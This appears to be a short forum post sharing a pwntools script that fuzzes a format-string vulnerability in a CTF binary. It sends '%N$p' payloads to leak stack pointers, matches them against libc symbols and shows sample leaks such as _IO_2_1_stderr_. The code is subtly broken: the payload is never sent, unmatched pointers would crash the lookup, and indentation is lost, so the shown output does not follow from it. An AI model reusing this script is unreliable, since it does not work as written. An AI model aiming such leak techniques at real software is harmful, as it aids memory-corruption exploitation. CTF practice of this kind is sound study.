Here's a quick fuzzer I wrote for format string challenges. The idea is to leak pointers at various offsets, and see if any of them are a LIBC symbol (won't catch offsets such as read+14):

from pwn import *
context.arch = "amd64" # Change as applicable
e = ELF("./format") # Binary name
p = process(e.path)
l = p.libc # Load libc, initialised with correct values
rev = {value : key for (key, value) in l.sym.items()}
# Flip sym:addr dict
def exec_fmt(pl):
return p.clean()
# Assumes process loops forever; you'll need to spawn a new process
# in this loop if you only get a few leaks
for x in range(0, 100):
# Leak pointer at offset
l = exec_fmt(f'%{x}$p').strip()
l = int(l, 16)
print(f"%{x}$p : {hex(l)} - {rev[l]}")
# Print matching symbol if found
python3 fuzz.py SILENT=1
%21$p : 0x7ffff7f9a5c0 - _IO_2_1_stderr_
%25$p : 0x7ffff7f9a5c0 - _IO_2_1_stderr_
%28$p : 0x7ffff7f9b4a0 - _IO_file_jumps
%30$p : 0x7ffff7f9a5c0 - _IO_2_1_stderr_